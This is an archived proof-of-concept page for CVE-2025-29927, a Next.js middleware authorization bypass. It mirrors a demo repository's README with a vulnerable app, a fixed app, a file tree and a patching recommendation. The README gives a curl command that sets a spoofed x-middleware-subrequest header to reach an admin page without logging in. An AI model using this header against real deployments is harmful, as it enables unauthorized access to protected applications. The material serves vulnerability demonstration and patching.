Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1020 CNY

100%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
Next.js CVE-2025-29927 demonstration
Readme
# Next.js Vulnerability Demo (CVE-2025-29927)

This repository contains a demonstration of the Next.js vulnerability CVE-2025-29927, which affects Next.js version 15.2.2 and earlier. The vulnerability allows attackers to bypass middleware authentication checks by setting an `x-middleware-subrequest` header.

## Repository Structure

This is an NX monorepo containing two Next.js applications:

1. **vulnerable-app**: Uses Next.js 15.2.2 with the vulnerability
2. **fixed-app**: Uses Next.js 15.2.3 with the fix implemented

## Vulnerability Explanation

In Next.js versions prior to 15.2.3, there's a security vulnerability in the middleware implementation. The middleware doesn't properly validate the origin of the `x-middleware-subrequest` header, allowing attackers to spoof this header and bypass middleware-based authentication checks.

## How to Run the Demo

### Prerequisites

- Node.js 18 or later
- npm or yarn
- Docker (optional, for containerized deployment)

### Running the Vulnerable App

```bash
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install

# Start the vulnerable app
npm run dev
```

The vulnerable app will be available at http://localhost:3000.

### Running the Fixed App

```bash
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the fixed app
cd apps/fixed-app
npm install

# Start the fixed app
npm run dev
```

The fixed app will be available at http://localhost:3001.

### Using Docker

You can also run the apps using Docker:

```bash
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable

# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
```

## Demonstrating the Vulnerability

1. Open the vulnerable app (http://localhost:3000)
2. Click on "Admin" in the navigation bar
3. You'll be redirected to the login page since you're not authenticated
4. Now try accessing the admin page directly with the vulnerability:

```bash
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
```

With the vulnerable version (15.2.2), you'll be able to access the admin page without authentication by adding the `x-middleware-subrequest` header.

With the fixed version (15.2.3), the middleware correctly validates the origin of this header, and you'll still be redirected to the login page.

## Login Credentials

For demo purposes, you can log in with:
- Username: `admin`
- Password: `password123`

## Security Recommendation

If you're using Next.js in production, make sure to update to version 15.2.3 or later to protect against this vulnerability.
File Snapshot

[4.0K] /data/pocs/91fb917611305cae40e96f979785ed4c4120a4dc ├── [4.0K] apps │   ├── [4.0K] fixed-app │   │   ├── [1.4K] Dockerfile │   │   ├── [ 649] eslint.config.mjs │   │   ├── [ 167] index.d.ts │   │   ├── [ 742] next.config.js │   │   ├── [ 211] next-env.d.ts │   │   ├── [ 376] package.json │   │   ├── [ 93] postcss.config.js │   │   ├── [4.0K] public │   │   │   └── [ 15K] favicon.ico │   │   ├── [4.0K] src │   │   │   ├── [4.0K] app │   │   │   │   ├── [4.0K] admin │   │   │   │   │   └── [1.0K] page.tsx │   │   │   │   ├── [4.0K] api │   │   │   │   │   └── [4.0K] hello │   │   │   │   │   └── [ 91] route.ts │   │   │   │   ├── [ 23] global.css │   │   │   │   ├── [1.1K] layout.tsx │   │   │   │   ├── [4.0K] login │   │   │   │   │   └── [1002] page.tsx │   │   │   │   ├── [1.1K] not-found.tsx │   │   │   │   ├── [ 10] page.module.scss │   │   │   │   └── [1.9K] page.tsx │   │   │   ├── [4.0K] components │   │   │   │   ├── [ 340] AdminButton.tsx │   │   │   │   ├── [1.5K] AdminContent.tsx │   │   │   │   └── [2.9K] LoginForm.tsx │   │   │   └── [1.4K] middleware.ts │   │   ├── [ 265] tailwind.config.js │   │   └── [ 979] tsconfig.json │   └── [4.0K] vulnerable-app │   ├── [1.4K] Dockerfile │   ├── [ 649] eslint.config.mjs │   ├── [ 167] index.d.ts │   ├── [ 731] next.config.js │   ├── [ 211] next-env.d.ts │   ├── [ 381] package.json │   ├── [ 93] postcss.config.js │   ├── [4.0K] public │   │   └── [ 15K] favicon.ico │   ├── [4.0K] src │   │   ├── [4.0K] app │   │   │   ├── [4.0K] admin │   │   │   │   └── [1.0K] page.tsx │   │   │   ├── [4.0K] api │   │   │   │   └── [4.0K] hello │   │   │   │   └── [ 91] route.ts │   │   │   ├── [ 23] global.css │   │   │   ├── [1.1K] layout.tsx │   │   │   ├── [4.0K] login │   │   │   │   └── [ 977] page.tsx │   │   │   ├── [ 10] page.module.scss │   │   │   └── [1.9K] page.tsx │   │   ├── [4.0K] components │   │   │   ├── [ 338] AdminButton.tsx │   │   │   ├── [1.6K] AdminContent.tsx │   │   │   └── [2.9K] LoginForm.tsx │   │   └── [1.1K] middleware.ts │   ├── [ 265] tailwind.config.js │   └── [ 989] tsconfig.json ├── [ 847] eslint.config.mjs ├── [ 860] nx.json ├── [1.2K] package.json ├── [410K] pnpm-lock.yaml ├── [ 24] pnpm-workspace.yaml ├── [2.8K] README.md └── [ 467] tsconfig.base.json 19 directories, 50 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →